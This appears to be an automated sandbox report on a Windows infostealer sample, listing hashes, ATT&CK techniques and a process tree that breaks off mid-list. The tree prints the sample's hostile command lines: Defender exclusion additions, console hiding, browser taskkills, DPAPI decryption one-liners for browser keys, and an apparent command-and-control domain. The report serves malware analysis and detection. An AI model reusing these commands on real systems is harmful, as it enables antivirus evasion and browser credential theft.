b5dbc4b6295e1dd86249cc954bd0d9a4a9ff815ba0237c8b06e7c0af126a19a0

Analysis

max time kernel
33s
max time network
45s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
build.exe
Size 68.9MB
Sample260925-tx6fsaff48
SHA256 b5dbc4b6295e1dd86249cc954bd0d9a4a9ff815ba0237c8b06e7c0af126a19a0
MD5 e9861dc015a8d50b6d4bc05f2dbc0743
SHA1 223414ed107e1bf0f4a460754c9998b501c0d004
SHA512 c93538c55fbfa82076bbc9f2064af97b65d3eac97bc2f3e014b5e5a0a22ec91f6d0db48267b26f3d7a11e1ff0fb1450b561bc3901c16290d21384323599b9843
SSDEEP 393216:sgILmywFT2rwN8Cr8GZsNa6WGnDMI0MG4X71AQSI8wxSvDazn1N5VR+njCgXD4NA:sS4AQtRgANANvQLpgPVlcmYg
TLSH
T14FF76B4267EA05D5F9F7AA3499E65213D673BC067F3081CB324C172A1F736E08976B22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5176	powershell.exe
948	powershell.exe
1540	powershell.exe
5144	powershell.exe
3436	powershell.exe
1932	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3348	dwm_overlay.exe
5220	cache.exe
4304	wcindex.exe

Loads dropped DLL 2 IoCs

pid	Process
4304	wcindex.exe
4304	wcindex.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3360	tasklist.exe
5936	tasklist.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5420	cmd.exe
5192	cmd.exe
4152	cmd.exe
1304	cmd.exe
4072	cmd.exe
5516	cmd.exe
2872	cmd.exe
4104	cmd.exe
2744	cmd.exe
5612	cmd.exe
428	cmd.exe
5424	cmd.exe
5840	cmd.exe
4532	cmd.exe
3776	cmd.exe
5512	cmd.exe
2820	cmd.exe
1400	cmd.exe
4252	cmd.exe
2888	cmd.exe
4240	cmd.exe
5824	cmd.exe
4360	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	build.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dwm_overlay.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dwm_overlay.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	build.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	build.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5768	netstat.exe

Kills process with taskkill 14 IoCs

defense_evasion

pid	Process
3496	taskkill.exe
1520	taskkill.exe
1576	taskkill.exe
3288	taskkill.exe
2932	taskkill.exe
4488	taskkill.exe
684	taskkill.exe
2604	taskkill.exe
1372	taskkill.exe
1092	taskkill.exe
2724	taskkill.exe
800	taskkill.exe
1264	taskkill.exe
5216	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5144	reg.exe
3520	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4340	wmic.exe
4340	wmic.exe
4340	wmic.exe
4340	wmic.exe
2140	build.exe
2140	build.exe
5556	wmic.exe
5556	wmic.exe
5556	wmic.exe
5556	wmic.exe
5176	powershell.exe
5176	powershell.exe
5176	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
3436	powershell.exe
3436	powershell.exe
3436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4340	wmic.exe
Token: SeSecurityPrivilege	4340	wmic.exe
Token: SeTakeOwnershipPrivilege	4340	wmic.exe
Token: SeLoadDriverPrivilege	4340	wmic.exe
Token: SeSystemProfilePrivilege	4340	wmic.exe
Token: SeSystemtimePrivilege	4340	wmic.exe
Token: SeProfSingleProcessPrivilege	4340	wmic.exe
Token: SeIncBasePriorityPrivilege	4340	wmic.exe
Token: SeCreatePagefilePrivilege	4340	wmic.exe
Token: SeBackupPrivilege	4340	wmic.exe
Token: SeRestorePrivilege	4340	wmic.exe
Token: SeShutdownPrivilege	4340	wmic.exe
Token: SeDebugPrivilege	4340	wmic.exe
Token: SeSystemEnvironmentPrivilege	4340	wmic.exe
Token: SeRemoteShutdownPrivilege	4340	wmic.exe
Token: SeUndockPrivilege	4340	wmic.exe
Token: SeManageVolumePrivilege	4340	wmic.exe
Token: 33	4340	wmic.exe
Token: 34	4340	wmic.exe
Token: 35	4340	wmic.exe
Token: 36	4340	wmic.exe
Token: SeIncreaseQuotaPrivilege	4340	wmic.exe
Token: SeSecurityPrivilege	4340	wmic.exe
Token: SeTakeOwnershipPrivilege	4340	wmic.exe
Token: SeLoadDriverPrivilege	4340	wmic.exe
Token: SeSystemProfilePrivilege	4340	wmic.exe
Token: SeSystemtimePrivilege	4340	wmic.exe
Token: SeProfSingleProcessPrivilege	4340	wmic.exe
Token: SeIncBasePriorityPrivilege	4340	wmic.exe
Token: SeCreatePagefilePrivilege	4340	wmic.exe
Token: SeBackupPrivilege	4340	wmic.exe
Token: SeRestorePrivilege	4340	wmic.exe
Token: SeShutdownPrivilege	4340	wmic.exe
Token: SeDebugPrivilege	4340	wmic.exe
Token: SeSystemEnvironmentPrivilege	4340	wmic.exe
Token: SeRemoteShutdownPrivilege	4340	wmic.exe
Token: SeUndockPrivilege	4340	wmic.exe
Token: SeManageVolumePrivilege	4340	wmic.exe
Token: 33	4340	wmic.exe
Token: 34	4340	wmic.exe
Token: 35	4340	wmic.exe
Token: 36	4340	wmic.exe
Token: SeDebugPrivilege	5768	netstat.exe
Token: SeDebugPrivilege	3360	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5556	wmic.exe
Token: SeSecurityPrivilege	5556	wmic.exe
Token: SeTakeOwnershipPrivilege	5556	wmic.exe
Token: SeLoadDriverPrivilege	5556	wmic.exe
Token: SeSystemProfilePrivilege	5556	wmic.exe
Token: SeSystemtimePrivilege	5556	wmic.exe
Token: SeProfSingleProcessPrivilege	5556	wmic.exe
Token: SeIncBasePriorityPrivilege	5556	wmic.exe
Token: SeCreatePagefilePrivilege	5556	wmic.exe
Token: SeBackupPrivilege	5556	wmic.exe
Token: SeRestorePrivilege	5556	wmic.exe
Token: SeShutdownPrivilege	5556	wmic.exe
Token: SeDebugPrivilege	5556	wmic.exe
Token: SeSystemEnvironmentPrivilege	5556	wmic.exe
Token: SeRemoteShutdownPrivilege	5556	wmic.exe
Token: SeUndockPrivilege	5556	wmic.exe
Token: SeManageVolumePrivilege	5556	wmic.exe
Token: 33	5556	wmic.exe
Token: 34	5556	wmic.exe
Token: 35	5556	wmic.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 4340	2140	build.exe	91
PID 2140 wrote to memory of 5768	2140	build.exe	93
PID 2140 wrote to memory of 2964	2140	build.exe	94
PID 2140 wrote to memory of 5144	2140	build.exe	95
PID 2140 wrote to memory of 3520	2140	build.exe	96
PID 2140 wrote to memory of 3360	2140	build.exe	97
PID 2140 wrote to memory of 5556	2140	build.exe	98
PID 2140 wrote to memory of 5516	2140	build.exe	99
PID 5516 wrote to memory of 5176	5516	cmd.exe	100
PID 5176 wrote to memory of 4500	5176	powershell.exe	101
PID 4500 wrote to memory of 1568	4500	csc.exe	102
PID 2140 wrote to memory of 2872	2140	build.exe	103
PID 2872 wrote to memory of 2400	2872	cmd.exe	104
PID 2400 wrote to memory of 5636	2400	net.exe	105
PID 2140 wrote to memory of 2888	2140	build.exe	106
PID 2140 wrote to memory of 5424	2140	build.exe	107
PID 2140 wrote to memory of 4104	2140	build.exe	108
PID 2140 wrote to memory of 4240	2140	build.exe	109
PID 5424 wrote to memory of 1372	5424	cmd.exe	110
PID 2888 wrote to memory of 2604	2888	cmd.exe	111
PID 4104 wrote to memory of 5216	4104	cmd.exe	112
PID 4240 wrote to memory of 948	4240	cmd.exe	113
PID 2140 wrote to memory of 3348	2140	build.exe	115
PID 2140 wrote to memory of 5420	2140	build.exe	117
PID 5420 wrote to memory of 1540	5420	cmd.exe	118
PID 3348 wrote to memory of 5840	3348	dwm_overlay.exe	119
PID 3348 wrote to memory of 5824	3348	dwm_overlay.exe	120
PID 3348 wrote to memory of 2744	3348	dwm_overlay.exe	121
PID 5840 wrote to memory of 3496	5840	cmd.exe	122
PID 5824 wrote to memory of 1092	5824	cmd.exe	123
PID 2744 wrote to memory of 1520	2744	cmd.exe	124
PID 3348 wrote to memory of 5220	3348	dwm_overlay.exe	125
PID 5220 wrote to memory of 4180	5220	cache.exe	127
PID 5220 wrote to memory of 4180	5220	cache.exe	127
PID 2140 wrote to memory of 4304	2140	build.exe	129
PID 4304 wrote to memory of 4360	4304	wcindex.exe	130
PID 4304 wrote to memory of 5192	4304	wcindex.exe	131
PID 4360 wrote to memory of 5936	4360	cmd.exe	132
PID 5192 wrote to memory of 3436	5192	cmd.exe	133
PID 2140 wrote to memory of 4532	2140	build.exe	134
PID 4532 wrote to memory of 5144	4532	cmd.exe	135

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\Wbem\wmic.exe
  wmic process get Name,ProcessId,ExecutablePath,CommandLine /format:csv
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\system32\netstat.exe
  netstat -an
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:5768
- C:\Windows\system32\reg.exe
  reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v Debugger
  2⤵
  PID:2964
- C:\Windows\system32\reg.exe
  reg query HKLM\SOFTWARE\Classes\exefile\shell\Debug
  2⤵
  - Modifies registry key
  PID:5144
- C:\Windows\system32\reg.exe
  reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  2⤵
  - Modifies registry key
  PID:3520
- C:\Windows\system32\tasklist.exe
  tasklist /m /fi "PID eq 2140"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3360
- C:\Windows\System32\Wbem\wmic.exe
  wmic process where ProcessId=4996 get Name,CommandLine,ExecutablePath /format:csv
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command " Add-Type -Name Window -Namespace Console -MemberDefinition ' [DllImport(\"Kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow); '; $consolePtr = [Console.Window]::GetConsoleWindow(); [Console.Window]::ShowWindow($consolePtr, 0); ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command " Add-Type -Name Window -Namespace Console -MemberDefinition ' [DllImport(\"Kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow); '; $consolePtr = [Console.Window]::GetConsoleWindow(); [Console.Window]::ShowWindow($consolePtr, 0); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5176
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wlk4grrs\wlk4grrs.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4500
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES67B9.tmp" "c:\Users\Admin\AppData\Local\Temp\wlk4grrs\CSCCFBF55365CBB46D7B6465319A638DF73.TMP"
        5⤵
        
        PID:1568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    PID:2604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5424
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    PID:1372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    PID:5216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:948
- C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\dwm_overlay.exe
  C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\dwm_overlay.exe C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\dwm_overlay.exe C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4 C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\output FD0249FBDF88 ilovecats.sbs
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5840
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5824
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:1520
- - C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\cache.exe
    C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\cache.exe all -o C:\Users\Admin\AppData\Local\MediaOverlay\1p35u4\output -v --no-kill
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5220
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      PID:4180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      PID:4324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\TextFramework\4mry1w'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\TextFramework\4mry1w'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:1540
- C:\Users\Admin\AppData\Local\TextFramework\4mry1w\wcindex.exe
  C:\Users\Admin\AppData\Local\TextFramework\4mry1w\wcindex.exe FD0249FBDF88
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAONJO+mEEQUCwrj0QnxZ16hAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACHgkuJTN4x1njpGamCWH6802V3sdoEEb6I5HPWtsX2EAAAAAA6AAAAAAgAAIAAAAEQGFCRjbjIGmcfkdunL80/iCbC97bQBIXlgyV9dvfaDMAAAAFrwBZ07jbVuisc98yYQBYMrXKW016TTFG4aQ9oWrPJSznVFWXWA1w69og/xdEFCR0AAAADx8JCyz9++eWpKcfyWr2qJFA3QRRvQHSSFqVxaZsES7kxF0a9yN/nl7mU69/2JyEryLvSimQyGHuvDn6rE8EVJ');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAONJO+mEEQUCwrj0QnxZ16hAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACHgkuJTN4x1njpGamCWH6802V3sdoEEb6I5HPWtsX2EAAAAAA6AAAAAAgAAIAAAAEQGFCRjbjIGmcfkdunL80/iCbC97bQBIXlgyV9dvfaDMAAAAFrwBZ07jbVuisc98yYQBYMrXKW016TTFG4aQ9oWrPJSznVFWXWA1w69og/xdEFCR0AAAADx8JCyz9++eWpKcfyWr2qJFA3QRRvQHSSFqVxaZsES7kxF0a9yN/nl7mU69/2JyEryLvSimQyGHuvDn6rE8EVJ');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious behavior: EnumeratesProcesses
      PID:3436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAONJO+mEEQUCwrj0QnxZ16hAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAWLEYAgfRhH/UxKFnk8/DVXf9E/RUOmq3jzMbPNIL+04AAAAADoAAAAACAAAgAAAAeLyzaru8DZdlU/u6cjsstOw/8LMzjfgZ9f9kdLg+F3QwAAAAJ7pREMuFD8Kw4ox0nUibkf0LdL218QWa9JR1ysXIhB23BU0efgYGE8b2A3XeFtxYQAAAAG4s0clyHdr472jV27ZFzL8dbf4j0VLMN/Le/MigXgfuEtMrxq0AnlrE3oiKWD2ApS3+nWHcFI+qWZAwe3of8gA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAONJO+mEEQUCwrj0QnxZ16hAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAWLEYAgfRhH/UxKFnk8/DVXf9E/RUOmq3jzMbPNIL+04AAAAADoAAAAACAAAgAAAAeLyzaru8DZdlU/u6cjsstOw/8LMzjfgZ9f9kdLg+F3QwAAAAJ7pREMuFD8Kw4ox0nUibkf0LdL218QWa9JR1ysXIhB23BU0efgYGE8b2A3XeFtxYQAAAAG4s0clyHdr472jV27ZFzL8dbf4j0VLMN/Le/MigXgfuEtMrxq0AnlrE3oiKWD2ApS3+nWHcFI+qWZAwe3of8gA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3776
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1304
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:2724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4072
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5512
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:3288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2820
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5612
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM kometa.exe
      4⤵
      Kills process with taskkill
      PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1400
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM orbitum.exe
      4⤵
      Kills process with taskkill
      PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM centbrowser.exe"
    3⤵
    - Executes a command shell one-liner
